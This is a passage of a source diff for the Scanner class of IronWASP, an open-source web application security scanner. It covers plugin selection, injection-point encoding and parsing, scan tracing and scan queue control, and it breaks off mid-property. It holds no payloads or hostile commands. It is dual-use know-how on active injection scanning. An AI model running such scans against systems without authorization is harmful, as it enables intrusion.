this.TestResponse.BodyLength.ToString(), this.TestResponse.ContentType, this.TestResponse.RoundTrip.ToString(), Tools.MD5(this.TestResponse.ToString()), ResponseFromInjection.ID.ToString(), ResponseFromInjection.Code.ToString(), ResponseFromInjection.BodyLength.ToString(), ResponseFromInjection.ContentType, ResponseFromInjection.RoundTrip.ToString(), Tools.MD5(ResponseFromInjection.ToString()) }); - } - else - { - this.TraceOverviewEntries.Add(new string[] { Payload, this.TestResponse.ID.ToString(), this.TestResponse.Code.ToString(), this.TestResponse.BodyLength.ToString(), this.TestResponse.ContentType, this.TestResponse.RoundTrip.ToString(), Tools.MD5(this.TestResponse.ToString()), ResponseFromInjection.ID.ToString(), ResponseFromInjection.Code.ToString(), ResponseFromInjection.BodyLength.ToString(), ResponseFromInjection.ContentType, ResponseFromInjection.RoundTrip.ToString(), Tools.MD5(ResponseFromInjection.ToString()) }); - } - } - } - - return ResponseFromInjection; - } - - public Response Inject(Request RequestToInject) - { - RequestToInject.Source = RequestSource.Scan; - RequestToInject.ScanID = this.ScanID; - Response ResponseFromInjection = RequestToInject.Send(); - //return SessionHandler.GetInterestingResponse(RequestToInject, ResponseFromInjection); - return SessionHandler.DoAfterSending(ResponseFromInjection, RequestToInject); - } - - public void AddFinding(Finding F) - { - F.ScanId = this.ID; - F.AffectedSection = this.InjectedSection; - F.AffectedParameter = this.InjectedParameter; - - F.FinderName = this.ActivePluginName; - F.FinderType = "ActivePlugin"; - - F.BaseRequest = this.BaseRequest; - F.BaseResponse = this.BaseResponse; - - this.PRs.Add(F); - F.Report(); - } - public void CheckAll() - { - foreach (string Name in ActivePlugin.List()) - { - this.AddCheck(Name); - } - } - public void AddCheck(string PluginName) - { - if (ActivePlugin.List().Contains(PluginName)) - { - if (!Plugins.ContainsKey(PluginName)) - { - Plugins.Add(PluginName, ""); - } - } - else - { - throw new Exception("Plugin with name ' "+ PluginName + "' not found"); - } - } - - public void RemoveCheck(string CheckName) - { - if (this.Plugins.ContainsKey(CheckName)) - { - this.Plugins.Remove(CheckName); - } - } - - public void ClearChecks() - { - this.Plugins = new Dictionary(); - } - - - public List ShowChecks() - { - List List = new List(); - foreach (string N in this.Plugins.Keys) - { - List.Add(N); - } - return List; - } - - void ResetInjectionParameters() - { - this.URLInjections = new List(); - this.QueryInjections = new InjectionParameters(); - this.BodyInjections = new InjectionParameters(); - this.BodyXmlInjections = new List(); - this.CookieInjections = new InjectionParameters(); - this.HeadersInjections = new InjectionParameters(); - } - void CheckWithActivePlugin(string PluginName) - { - Exception E = null; - ActivePlugin AP = ActivePlugin.Get(PluginName); - this.ActivePluginName = AP.Name; - if (!SessionHandler.CanInject(this, this.CurrentRequest)) - { - return; - } - try - { - this.StartTrace(); - this.SetTraceTitle("-", 0); - AP.Check(this); - } - catch (ThreadAbortException) - { } - catch (Exception Exp) - { - E = Exp; - IronException.Report(string.Format("'{0}' check for Scan ID-{1} crashed with an exception", PluginName, this.ScanID.ToString()), Exp); - } - try - { - this.LogTrace(); - } - catch(Exception Exp) - { - IronException.Report("Error Logging Scan Trace", Exp); - } - if (E != null) throw E; - } - internal void ReloadRequestFromString(string RequestString) - { - this.OriginalRequest = new Request(RequestString, false, true); - this.OriginalRequest.ScanID = this.ScanID; - } - internal void ReloadRequestFromHeaderString(string RequestHeaderString) - { - Request NewRequest = new Request(RequestHeaderString, this.OriginalRequest.SSL, true); - this.OriginalRequest.ScanID = this.ScanID; - byte[] OldBody = new byte[this.OriginalRequest.BodyArray.Length]; - this.OriginalRequest.BodyArray.CopyTo(OldBody, 0); - NewRequest.BodyArray = OldBody; - this.OriginalRequest = NewRequest; - } - internal static void ResetChangedStatus() - { - RequestHeadersChanged = false; - RequestBodyChanged = false; - } - - internal static void StartDeSerializingRequestBody(Request Request, FormatPlugin Plugin, List CheckStatus, bool CheckAll) - { - BodyFormatParamters BFP = new BodyFormatParamters(Request, Plugin, CheckStatus, CheckAll); - RequestFormatThread = new Thread(Scanner.DeSerializeRequestBody); - RequestFormatThread.Start(BFP); - } - - internal static void DeSerializeRequestBody(object BFPObject) - { - string PluginName = ""; - try - { - BodyFormatParamters BFP = (BodyFormatParamters)BFPObject; - Request Request = BFP.Request; - FormatPlugin Plugin = BFP.Plugin; - Scanner.CurrentScanner.BodyFormat = Plugin; - Scanner.CurrentScanner.DeserializeRequestBodyWithFormatPlugin(); - string XML = Scanner.CurrentScanner.InjectionArrayXML; - string[,] InjectionArray = Scanner.CurrentScanner.XmlInjectionArray; - - PluginName = Plugin.Name; - - List CheckStatus = BFP.CheckStatus; - bool CheckAll = BFP.CheckAll; - - //string XML = Plugin.ToXmlFromRequest(Request); - //string[,] InjectionArray = FormatPlugin.XmlToArray(XML); - //Scanner.CurrentScanner.BodyFormat = Plugin; - IronUI.FillConfigureScanFormatDetails(XML, InjectionArray, CheckStatus, CheckAll, PluginName); - } - catch (ThreadAbortException) - { - // - } - catch(Exception Exp) - { - IronException.Report(string.Format("Error Parsing Body in Selected Format. Format Plugin - {0}", PluginName), Exp.Message, Exp.StackTrace); - IronUI.ShowConfigureScanException("Error Parsing Body in Selected Format"); - Scanner.CurrentScanner.BodyFormat = new FormatPlugin(); - IronUI.UpdateScanBodyTabWithXmlArray(); - } - } - - internal static void LoadScannerFromDDAndFillAutomatedScanningTab(object ScanJobIdObj) - { - int ScanJobId = (int)ScanJobIdObj; - Scanner ScannerFromDb = null; - try - { - ScannerFromDb = IronDB.GetScannerFromDB(ScanJobId); - } - catch (Exception Exp) - { - IronException.Report("Unable to load Request from Scan Queue DB", Exp.Message, Exp.StackTrace); - IronUI.ShowConfigureScanException("Unable to load Request"); - return; - } - SetScannerFromDBToUiAfterProcessing(ScannerFromDb); - } - internal static void SetScannerFromDBToUiAfterProcessing(Scanner ScannerFromDb) - { - ScannerFromDb.OriginalRequest.Source = RequestSource.Scan; - string[,] XmlInjectionPoints = new string[,] { }; - string XML = ""; - //try - //{ - // if (ScannerFromDb.Status.Equals("Not Started")) - // { - // if (ScannerFromDb.BodyFormat.Name.Length == 0 && ScannerFromDb.CustomInjectionPointStartMarker.Length == 0 && ScannerFromDb.CustomInjectionPointEndMarker.Length == 0 && !FormatPlugin.IsNormal(ScannerFromDb.OriginalRequest)) - // { - // List RightList = FormatPlugin.Get(ScannerFromDb.OriginalRequest); - // if (RightList.Count > 0) - // { - // ScannerFromDb.BodyFormat = RightList[0]; - // XML = ScannerFromDb.BodyFormat.ToXmlFromRequest(ScannerFromDb.OriginalRequest); - // XmlInjectionPoints = FormatPlugin.XmlToArray(XML); - // } - // } - // } - //} - //catch (Exception Exp) { IronException.Report("Error guessing Request body type", Exp); } - Scanner.CurrentScanner = ScannerFromDb; - Scanner.CurrentScanID = ScannerFromDb.ID; - - IronUI.SetAutomatedScanningScanner(ScannerFromDb, XML, XmlInjectionPoints); - } - - internal static void TerminateAllFormatThreads() - { - if(RequestFormatThread != null) - { - try { RequestFormatThread.Abort(); } - catch { } - finally { RequestFormatThread = null; } - } - } - - internal string GetScanPluginsString() - { - StringBuilder ScanPluginsBuilder = new StringBuilder(); - foreach (string ScanPlugin in this.Plugins.Keys) - { - ScanPluginsBuilder.Append(ScanPlugin); - ScanPluginsBuilder.Append(","); - } - string SelectedScanPlugins = ScanPluginsBuilder.ToString().TrimEnd(new char[] { ',' }); - return SelectedScanPlugins; - } - - #region CreateInjectionString - //Old format (till v0.9.1.5) - //public string GetInjectionString() - //{ - // StringBuilder Url = new StringBuilder("Url:"); Url.Append(GetStringFromInjectionList(URLInjections)); - // StringBuilder Query = new StringBuilder("Query:"); Query.Append(GetStringFromInjectionParameters(QueryInjections)); - // StringBuilder Body = new StringBuilder("Body:"); - // if (this.BodyFormat.Name.Length > 0) - // { - // Body.Append(GetStringFromInjectionParameters(BodyXmlInjectionParameters, BodyXmlInjections)); - // } - // else - // { - // Body.Append(GetStringFromInjectionParameters(BodyInjections)); - // } - // StringBuilder Cookie = new StringBuilder("Cookie:"); Cookie.Append(GetStringFromInjectionParameters(CookieInjections)); - // StringBuilder Headers = new StringBuilder("Headers:"); Headers.Append(GetStringFromInjectionParameters(HeadersInjections)); - // StringBuilder FullInjectionString = new StringBuilder(); - // FullInjectionString.AppendLine(Url.ToString()); - // FullInjectionString.AppendLine(Query.ToString()); - // FullInjectionString.AppendLine(Body.ToString()); - // FullInjectionString.AppendLine(Cookie.ToString()); - // FullInjectionString.AppendLine(Headers.ToString()); - // return FullInjectionString.ToString(); - //} - - public string GetInjectionString() - { - StringBuilder Url = new StringBuilder("Url|"); Url.Append(GetStringFromInjectionList(URLInjections)); - StringBuilder Query = new StringBuilder("Query|"); Query.Append(GetStringFromInjectionParameters(QueryInjections)); - StringBuilder Body = new StringBuilder("Body|"); - if (CustomInjectionPointStartMarker.Length > 0 && CustomInjectionPointEndMarker.Length > 0) - { - Body.Append("CustomMarker|"); - Body.Append(GetStringFromInjectionMarker(CustomInjectionPointStartMarker, CustomInjectionPointEndMarker)); - } - else if (this.BodyFormat.Name.Length > 0) - { - Body.Append("FormatPlugin|"); - Body.Append(GetStringFromInjectionParameters(BodyXmlInjectionParameters, BodyXmlInjections)); - } - else - { - Body.Append("Normal|"); - Body.Append(GetStringFromInjectionParameters(BodyInjections)); - } - StringBuilder Cookie = new StringBuilder("Cookie|"); Cookie.Append(GetStringFromInjectionParameters(CookieInjections)); - StringBuilder Headers = new StringBuilder("Headers|"); Headers.Append(GetStringFromInjectionParameters(HeadersInjections)); - StringBuilder Names = new StringBuilder("Names|"); Names.Append(GetStringFromInjectionParameters(ParameterNameInjections)); - StringBuilder FullInjectionString = new StringBuilder(); - FullInjectionString.AppendLine(Url.ToString()); - FullInjectionString.AppendLine(Query.ToString()); - FullInjectionString.AppendLine(Body.ToString()); - FullInjectionString.AppendLine(Cookie.ToString()); - FullInjectionString.AppendLine(Headers.ToString()); - FullInjectionString.AppendLine(Names.ToString()); - return FullInjectionString.ToString(); - } - - static string GetStringFromInjectionList(List InjectionList) - { - StringBuilder InjectionListString = new StringBuilder(); - foreach (int i in InjectionList) - { - InjectionListString.Append(i.ToString()); - InjectionListString.Append(","); - } - string ILS = InjectionListString.ToString(); - if (ILS.Length > 0) ILS = ILS.TrimEnd(new char[] { ',' }); - return ILS; - } - - static string GetStringFromInjectionParameters(InjectionParameters InjectionParameters) - { - StringBuilder IS = new StringBuilder(); - foreach (string Name in InjectionParameters.GetAll()) - { - //IS.Append(Name); IS.Append("="); - old format - IS.Append(Tools.Base64Encode(Name)); IS.Append("-"); - foreach (int i in InjectionParameters.GetAll(Name)) - { - IS.Append(i.ToString()); IS.Append(","); - } - IS.Append(";"); - } - return IS.ToString(); - } - - static string GetStringFromInjectionParameters(Parameters InjectionParameters, List InjectionList) - { - StringBuilder IS = new StringBuilder(); - int i = 0; - foreach (string Name in InjectionParameters.GetNames()) - { - IS.Append(Convert.ToBase64String(Encoding.UTF8.GetBytes(Name))); IS.Append(":"); IS.Append(Convert.ToBase64String(Encoding.UTF8.GetBytes(InjectionParameters.Get(Name)))); - IS.Append("-"); - if (InjectionList.Contains(i)) - { - IS.Append("1"); - } - else - { - IS.Append("0"); - } - IS.Append(";"); - i++; - } - return IS.ToString(); - } - - //New format - static string GetStringFromInjectionMarker(string StartMarker, string EndMarker) - { - StringBuilder IS = new StringBuilder(); - IS.Append(Tools.Base64Encode(StartMarker)); - IS.Append(":"); - IS.Append(Tools.Base64Encode(EndMarker)); - return IS.ToString(); - } - #endregion - - #region ReadInjectionString - internal void AbsorbInjectionString(string InjectionString) - { - if (InjectionString.StartsWith("Url:")) - AbsorbOldFormatInjectionString(InjectionString); - else - AbsorbNewFormatInjectionString(InjectionString); - } - - internal void AbsorbNewFormatInjectionString(string InjectionString) - { - string[] InjectionStringsArray = InjectionString.Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries); - if (InjectionStringsArray.Length != 6) - { - throw new Exception("Invalid Injection String"); - } - this.URLInjections = GetListFromInjectionString(InjectionStringsArray[0].Substring(4));//Remove 'Url|' - this.QueryInjections = GetParametersFromInjectionString(InjectionStringsArray[1].Substring(6));//Remove 'Query|' - string BodyInjectionStringPart = InjectionStringsArray[2].Substring(5); - if (BodyInjectionStringPart.StartsWith("CustomMarker|"))//Remove 'Body|' - { - string[] CustomMarkers = GetCustomMarkersFromInjectionString(BodyInjectionStringPart.Substring(13));//Remove 'CustomMarker|' - this.CustomInjectionPointStartMarker = CustomMarkers[0]; - this.CustomInjectionPointEndMarker = CustomMarkers[1]; - } - else if (BodyInjectionStringPart.StartsWith("FormatPlugin|")) - { - this.AbsorbFormatBodyParametersFromInjectionString(BodyInjectionStringPart.Substring(13));//Remove 'FormatPlugin|' - } - else - { - this.BodyInjections = GetParametersFromInjectionString(BodyInjectionStringPart.Substring(7));//Remove 'Normal|' - } - - this.CookieInjections = GetParametersFromInjectionString(InjectionStringsArray[3].Substring(7));//Remove 'Cookie|' - this.HeadersInjections = GetParametersFromInjectionString(InjectionStringsArray[4].Substring(8));//Remove 'Headers|' - this.ParameterNameInjections = GetParametersFromInjectionString(InjectionStringsArray[5].Substring(6));//Remove 'Names|' - } - - internal void AbsorbOldFormatInjectionString(string InjectionString) - { - string[] InjectionStringsArray = InjectionString.Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries); - if(InjectionStringsArray.Length != 5) - { - throw new Exception("Invalid Injection String"); - } - this.URLInjections = GetListFromInjectionString(InjectionStringsArray[0].Substring(4));//Remove 'Url:' - this.QueryInjections = GetParametersFromOldFormatInjectionString(InjectionStringsArray[1].Substring(6));//Remove 'Query:' - if (this.BodyFormat.Name.Length == 0) - { - this.BodyInjections = GetParametersFromOldFormatInjectionString(InjectionStringsArray[2].Substring(5));//Remove 'Body:' - } - else - { - this.AbsorbFormatBodyParametersFromInjectionString(InjectionStringsArray[2].Substring(5));//Remove 'Body:' - } - this.CookieInjections = GetParametersFromOldFormatInjectionString(InjectionStringsArray[3].Substring(7));//Remove 'Cookie:' - this.HeadersInjections = GetParametersFromOldFormatInjectionString(InjectionStringsArray[4].Substring(8));//Remove 'Headers:' - } - - - - static List GetListFromInjectionString(string InjectionString) - { - List InjectionList = new List(); - string[] StrList = InjectionString.Split(new string[] { "," }, StringSplitOptions.RemoveEmptyEntries); - foreach (string s in StrList) - { - try - { - InjectionList.Add(Int32.Parse(s)); - } - catch - { - throw new Exception("Invalid character in InjectionString"); - } - } - return InjectionList; - } - - static InjectionParameters GetParametersFromInjectionString(string InjectionString) - { - InjectionParameters InjectionParameters = new InjectionParameters(); - string[] Parameters = InjectionString.Split(new string[] { ";" }, StringSplitOptions.RemoveEmptyEntries); - foreach(string Parameter in Parameters) - { - string[] ParameterParts = Parameter.Split(new string[]{"-"}, StringSplitOptions.RemoveEmptyEntries); - if (ParameterParts.Length != 2) throw new Exception("Invalid Injection String"); - string[] SubParameterPositions = ParameterParts[1].Split(new string[] { "," }, StringSplitOptions.RemoveEmptyEntries); - foreach (string SubParameterPosition in SubParameterPositions) - { - try - { - InjectionParameters.Add(Tools.Base64Decode(ParameterParts[0]), Int32.Parse(SubParameterPosition)); - } - catch - { - throw new Exception("Invalid Injection String"); - } - } - } - return InjectionParameters; - } - - static InjectionParameters GetParametersFromOldFormatInjectionString(string InjectionString) - { - InjectionParameters InjectionParameters = new InjectionParameters(); - string[] Parameters = InjectionString.Split(new string[] { ";" }, StringSplitOptions.RemoveEmptyEntries); - foreach (string Parameter in Parameters) - { - string[] ParameterParts = Parameter.Split(new string[] { "=" }, StringSplitOptions.RemoveEmptyEntries); - if (ParameterParts.Length != 2) throw new Exception("Invalid Injection String"); - string[] SubParameterPositions = ParameterParts[1].Split(new string[] { "," }, StringSplitOptions.RemoveEmptyEntries); - foreach (string SubParameterPosition in SubParameterPositions) - { - try - { - InjectionParameters.Add(ParameterParts[0], Int32.Parse(SubParameterPosition)); - } - catch - { - throw new Exception("Invalid Injection String"); - } - } - } - return InjectionParameters; - } - - static string[] GetCustomMarkersFromInjectionString(string InjectionString) - { - string[] EncodedMarkers = InjectionString.Split(':'); - return new string[] { Tools.Base64Decode(EncodedMarkers[0]), Tools.Base64Decode(EncodedMarkers[1])}; - } - - void AbsorbFormatBodyParametersFromInjectionString(string InjectionString) - { - InjectionParameters InjectionParameters = new InjectionParameters(); - string[] Parameters = InjectionString.Split(new string[] { ";" }, StringSplitOptions.RemoveEmptyEntries); - this.BodyXmlInjectionParameters = new Parameters(); - this.BodyXmlInjections.Clear(); - int i = 0; - foreach (string Parameter in Parameters) - { - string[] ParameterParts = Parameter.Split(new string[] { ":" }, StringSplitOptions.RemoveEmptyEntries); - if (ParameterParts.Length != 2) throw new Exception("Invalid Injection String"); - string[] SecondParameterParts = ParameterParts[1].Split(new string[] { "-" }, StringSplitOptions.RemoveEmptyEntries); - if (SecondParameterParts.Length < 1 || SecondParameterParts.Length > 2) throw new Exception("Invalid Injection String"); - try - { - string Value = ""; - if (SecondParameterParts.Length == 2) Value = SecondParameterParts[0]; - string InjectionState = ""; - if (SecondParameterParts.Length == 2) - InjectionState = SecondParameterParts[1]; - else - InjectionState = SecondParameterParts[0]; - this.BodyXmlInjectionParameters.Add(Encoding.UTF8.GetString(Convert.FromBase64String(ParameterParts[0])), Encoding.UTF8.GetString(Convert.FromBase64String(Value))); - if (InjectionState.Equals("1")) this.BodyXmlInjections.Add(i); - } - catch - { - throw new Exception("Invalid Injection String"); - } - i++; - } - } - #endregion - - #region ScanTrace - public void StartTrace() - { - TraceMsg = new StringBuilder(); - TraceMsgXml = XmlWriter.Create(TraceMsg); - TraceMsgXml.WriteStartDocument(); - TraceMsgXml.WriteStartElement("trace"); - TraceOverviewEntries = new List(); - CurrentTraceRequestLogId = 0; - RequestTraceMsg = ""; - TraceTitle = ""; - TraceTitleWeight = 0; - this.TraceOverviewEntries.Add(new string[] { PreInjectionParameterValue, OriginalResponse.ID.ToString(), OriginalResponse.Code.ToString(), OriginalResponse.BodyLength.ToString(), OriginalResponse.ContentType, OriginalResponse.RoundTrip.ToString(), Tools.MD5(OriginalResponse.ToString()) }); - } - public void RequestTrace(string Message) - { - if (this.RequestTraceMsg.Length > 0) - { - IronException.Report(string.Format("Invalid Trace Commands in {0} Plugin", this.CurrentPlugin), string.Format("RequestTrace() command called after RequestTrace() command. RequestTrace() command must be followed by a ResponseTrace() command before calling any other commands.\r\nThe message being logged was:\r\n{0}", Tools.EncodeForTrace(Message))); - //TraceMsg.Append(">");//Probably the ResponseTrace matching the last RequestTrace was not called - } - this.RequestTraceMsg = Tools.EncodeForTrace(Message); - } - - public void ResponseTrace(string Message) - { - TraceMsgXml.WriteStartElement("type_b"); - - TraceMsgXml.WriteStartElement("log_id"); TraceMsgXml.WriteValue(this.CurrentTraceRequestLogId); TraceMsgXml.WriteEndElement(); - TraceMsgXml.WriteStartElement("req"); TraceMsgXml.WriteValue(RequestTraceMsg); TraceMsgXml.WriteEndElement(); - TraceMsgXml.WriteStartElement("res"); TraceMsgXml.WriteValue(Tools.EncodeForTrace(Message)); TraceMsgXml.WriteEndElement(); - - TraceMsgXml.WriteEndElement(); - - //if (RequestTraceMsg.Length == 0 && Message.Length > 0) - //{ - // TraceMsg.Append(">This request was not traced. You forgot to call the RequestTrace method in your code.> "); - //} - //TraceMsg.Append(Tools.EncodeForTrace(Message)); - - RequestTraceMsg = ""; - } - - public void Trace(string Message) - { - if (RequestTraceMsg.Length > 0) - { - IronException.Report(string.Format("Invalid Trace Commands in {0} Plugin", this.CurrentPlugin), string.Format("Trace() command called after RequestTrace() command. RequestTrace() command must be followed by a ResponseTrace() command before calling any other commands.\r\nThe message being logged was:\r\n{0}", Tools.EncodeForTrace(Message))); - } - - TraceMsgXml.WriteStartElement("type_a"); TraceMsgXml.WriteValue(Tools.EncodeForTrace(Message)); TraceMsgXml.WriteEndElement(); - //TraceMsg.Append(">"); - //TraceMsg.Append(Tools.EncodeForTrace(Message)); - } - - public void SetTraceTitle(string Title, int Weight) - { - if (Weight > TraceTitleWeight) - { - TraceTitle = Title; - TraceTitleWeight = Weight; - } - else if (Weight == TraceTitleWeight) - { - if (TraceTitle.Length == 0 || TraceTitle == "-") - { - TraceTitle = Title; - } - else - { - TraceTitle = string.Format("{0} | {1}", TraceTitle, Title); - } - } - } - - public void LogTrace() - { - this.LogTrace(TraceTitle); - } - - public void LogTrace(string Title) - { - try - { - this.TraceMsgXml.WriteEndElement(); - this.TraceMsgXml.WriteEndDocument(); - this.TraceMsgXml.Close(); - } - catch { } - IronTrace IT = new IronTrace(this.ScanID, CurrentPlugin, this.CurrentSection, this.CurrentParameterName, Title, TraceMsg.ToString(), this.TraceOverviewEntries); - IT.Report(); - this.TraceMsg = new StringBuilder(); - - this.RequestTraceMsg = ""; - this.TraceTitle = ""; - this.TraceTitleWeight = 0; - } - - public string GetTrace() - { - return TraceMsg.ToString(); - } - #endregion - - public static string GetStatus(int ScanID) - { - return IronDB.GetScanStatus(ScanID); - } - - public static List GetCompletedScanIDs() - { - List IDs = new List(); - lock (CompletedScanIDs) - { - IDs = new List(CompletedScanIDs.ToArray()); - CompletedScanIDs.Clear(); - } - return IDs; - } - - public static List GetAbortedScanIDs() - { - List IDs = new List(); - lock (AbortedScanIDs) - { - IDs = new List(AbortedScanIDs.ToArray()); - AbortedScanIDs.Clear(); - } - return IDs; - } - - internal static void StopAll() - { - NewScansAllowed = false; - List ToStop = new List(); - lock (Scanner.ScanQueue) - { - while (Scanner.ScanQueue.Count > 0) - { - Scanner Scan = Scanner.ScanQueue.Dequeue(); - ToStop.Add(Scan.ScanID); - } - } - List Running = new List(ActiveScanIDs); - - foreach (int ScanID in Running) - { - try - { Scanner.ScanThreads[ScanID].Abort(); } - catch { } - } - try - { - IronDB.UpdateScanStatus(ToStop, "Stopped"); - }catch{} - if (IronUI.UI.CanShutdown) return;//If user has started shutdown of IronWASP then dont't update UI - try - { - IronUI.UpdateScanQueueStatuses(ToStop, "Stopped"); - } - catch - {} - NewScansAllowed = true; - } - - void AddActiveScanID(int ID) - { - lock (ActiveScanIDs) - { - ActiveScanIDs.Add(ID); - } - } - - void RemoveActiveScanID(int ID) - { - lock (ActiveScanIDs) - { - if (ActiveScanIDs.Contains(ID)) - ActiveScanIDs.Remove(ID); - } - } - - internal static void StartList(object ScanIDsToStartObject) - { - List ScanIDsToStart = (List)ScanIDsToStartObject; - foreach (int ID in ScanIDsToStart) - { - try - { - Scanner Scan = IronDB.GetScannerFromDB(ID); - Scan.StartScan(ID); - } - catch { } - } - } - - - internal int GetCustomInjectionPointsCount() - { - int FullCount = SplitAtCustomInjectionPoints().Count; - if (Tools.IsEven(FullCount)) - return FullCount / 2; - else - return (FullCount - 1) / 2; - } - - List SplitAtCustomInjectionPoints() - { - if(this.BodyCustomInjectionParts.Count == 0) - this.BodyCustomInjectionParts = SplitAtCustomInjectionPoints(this.OriginalRequest.BodyString,this.CustomInjectionPointStartMarker, this.CustomInjectionPointEndMarker); - return this.BodyCustomInjectionParts; - } - - string GetValueAtCustomInjectionPoint(int Position) - { - List Parts = SplitAtCustomInjectionPoints(); - if (Position > GetCustomInjectionPointsCount()) return ""; - int Index = ((Position + 1) * 2) - 1; - return Parts[Index]; - } - - string InjectAtCustomInjectionPoint(int Position, string Payload) - { - foreach (string[] Rule in this.CharacterEscapingRules) - { - try - { - Payload = Payload.Replace(Rule[0], Rule[1]); - } - catch { } - } - List Parts = new List(SplitAtCustomInjectionPoints()); - if (Position > GetCustomInjectionPointsCount()) return ""; - int Index = ((Position + 1) * 2) - 1; - Parts[Index] = Payload; - StringBuilder InjectedContent = new StringBuilder(); - foreach(string Part in Parts) - { - InjectedContent.Append(Part); - } - return InjectedContent.ToString(); - } - - public static List SplitAtCustomInjectionPoints(string Content, string StartMarker, string EndMarker) - { - if (StartMarker.Length == 0 || EndMarker.Length == 0) return new List(); - List Result = new List(); - bool CheckFurther = true; - int Pointer = 0; - while (CheckFurther && Content.Length > Pointer) - { - int Start = Content.IndexOf(StartMarker, Pointer); - int Stop = Content.IndexOf(EndMarker, Start + StartMarker.Length); - if (Start == -1 || Stop == -1) CheckFurther = false; - if (CheckFurther) - { - Result.Add(Content.Substring(Pointer, Start - Pointer)); - Result.Add(Content.Substring(Start + StartMarker.Length, Stop - (Start + StartMarker.Length))); - } - else - { - Result.Add(Content.Substring(Pointer)); - } - Pointer = Stop + EndMarker.Length; - } - return Result; - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Threading; +using System.Collections.Generic; +using System.Text; +using System.Xml; + +namespace IronWASP +{ + public class Scanner + { + internal static Scanner CurrentScanner; + internal static int CurrentScanID; + internal static Queue ScanQueue = new Queue(); + + internal static int CurrentScannerBodyFormatTabIndex = 0; + + internal static int MaxParallelScanCount = 3; + + static Queue CompletedScanIDs = new Queue(); + static Queue AbortedScanIDs = new Queue(); + + internal static Dictionary ScanThreads = new Dictionary(); + + static List ActiveScanIDs = new List(); + + internal static bool NewScansAllowed = true; + internal const string DefaultStartMarker = "<<+++>>"; + internal const string DefaultEndMarker = "<<--->>"; + + internal static List DefaultEncodingRuleList = new List() { new string[] { ">", "%3e" }, new string[] { "<", "%3c" }, new string[] { "\"", "%22" }, new string[] { "%", "%25" }, + new string[] { ">", ">" }, new string[] { "<", "<" } , new string[] { "&", "&" }}; + + internal static List UserSpecifiedEncodingRuleList = new List(); + + private int scanID = 0; + internal Request OriginalRequest; + internal Response OriginalResponse; + internal Request CurrentRequest; + + Findings PRs = new Findings(); + Dictionary Plugins = new Dictionary(); + + internal List URLInjections = new List(); + internal InjectionParameters QueryInjections = new InjectionParameters(); + internal InjectionParameters BodyInjections = new InjectionParameters(); + internal List BodyXmlInjections = new List(); + internal Parameters BodyXmlInjectionParameters = new Parameters(); + internal List BodyCustomInjectionParts = new List(); + internal InjectionParameters CookieInjections = new InjectionParameters(); + internal InjectionParameters HeadersInjections = new InjectionParameters(); + internal InjectionParameters ParameterNameInjections = new InjectionParameters(); + + int CurrentInjectionPointIndex = 0; + + internal string ActivePluginName = ""; + + + //Workflow scanning + public int IdOfWorkflowToScan = 0; + public Analysis.LogAssociations WorkFlowLogAssociations = null; + public int IndexOfRequestToScanInWorkFlowLogAssociations = 0; + + //Login Recording + public Recording.Recording LoginAndCsrfRecording = null; + + public SessionPlugin SessionHandler = new SessionPlugin(); + FormatPlugin bodyFormat = new FormatPlugin(); + + //used only for updating the UI when pulling scanner from DB + internal string Status = "Not Started"; + //internal List InjectionPoints = new List(); + //end + + //to check user editing in the scan configure window + internal static bool RequestHeadersChanged = false; + internal static bool RequestBodyChanged = false; + + Request TestRequest; + Response TestResponse; + + string CurrentSection = ""; + int CurrentURLPartPosition = 0; + int CurrentBodyXmlPosition = 0; + int CurrentCustomInjectionPosition = 0; + string CurrentParameterName = ""; + string CurrentParameterValue = ""; + int CurrentSubParameterPosition = 0; + + internal string[,] XmlInjectionArray = new string[0, 0]; + internal string InjectionArrayXML = ""; + string XmlInjectionSignature = ""; + + internal string CustomInjectionPointStartMarker = ""; + internal string CustomInjectionPointEndMarker = ""; + internal List CharacterEscapingRules = new List(); + + internal static Thread RequestFormatThread; + + StringBuilder TraceMsg = new StringBuilder(); + XmlWriter TraceMsgXml; + string RequestTraceMsg = ""; + int CurrentTraceRequestLogId = 0; + string TraceTitle = ""; + int TraceTitleWeight = 0; + string CurrentPlugin = ""; + List TraceOverviewEntries = new List(); + + bool StartedFromASTab = false; + + protected string LogSource = RequestSource.Scan; + + public string InjectedSection + { + get + { + return this.CurrentSection; + } + } + public string InjectedParameter + { + get + { + return this.CurrentParameterName; + } + } + + public string PreInjectionParameterValue + { + get + { + //if (CurrentSection.Equals("URL")) + // return this.OriginalRequest.UrlPathParts[CurrentURLPartPosition]; + //else if (CurrentSection.Equals("Body") && BodyFormat.Name.Length > 0) + // return XmlInjectionArray[CurrentBodyXmlPosition, 1]; + //else + return CurrentParameterValue; + } + } + + public int InjectedUrlPathPosition + { + get + { + return CurrentURLPartPosition; + } + } + + public Request InjectedRequest + { + get + { + return this.TestRequest; + } + + } + public Response InjectionResponse + { + get + { + return this.TestResponse; + } + } + + public Parameters BodyXmlParameters + { + get + { + return this.BodyXmlInjectionParameters; + } + + } + + public Request BaseRequest + { + get + { + return this.OriginalRequest.GetClone(); + } + } + + public Response BaseResponse + { + get + { + return this.OriginalResponse.GetClone(); + } + } + + public FormatPlugin BodyFormat + { + get + { + return this.bodyFormat; + } + set + { + this.bodyFormat = value; + this.BodyXmlInjections = new List(); + + this.BodyXmlInjectionParameters = new Parameters(); + XmlInjectionArray = new string[,] { }; + if (value.Name.Length > 0) + { + XmlInjectionSignature = Tools.MD5("Name:" + value.Name + "|Body" + this.OriginalRequest.BodyString); + } + else + { + XmlInjectionSignature = ""; + } + } + } + + internal int ScanID + { + get + { + return this.scanID; + } + set + { + this.scanID = value; + this.OriginalRequest.ScanID = this.scanID; + } + } + + public int ID + { + get + { + return this.scanID; + } + } + + public int Id + { + get + { + return this.ID; + } + } + + public int InjectionPointsCount + { + get + { + if (this.CustomInjectionPointStartMarker.Length > 0 && this.CustomInjectionPointEndMarker.Length > 0) + return ParameterNameInjections.Count + URLInjections.Count + QueryInjections.Count + CookieInjections.Count + HeadersInjections.Count + GetCustomInjectionPointsCount(); 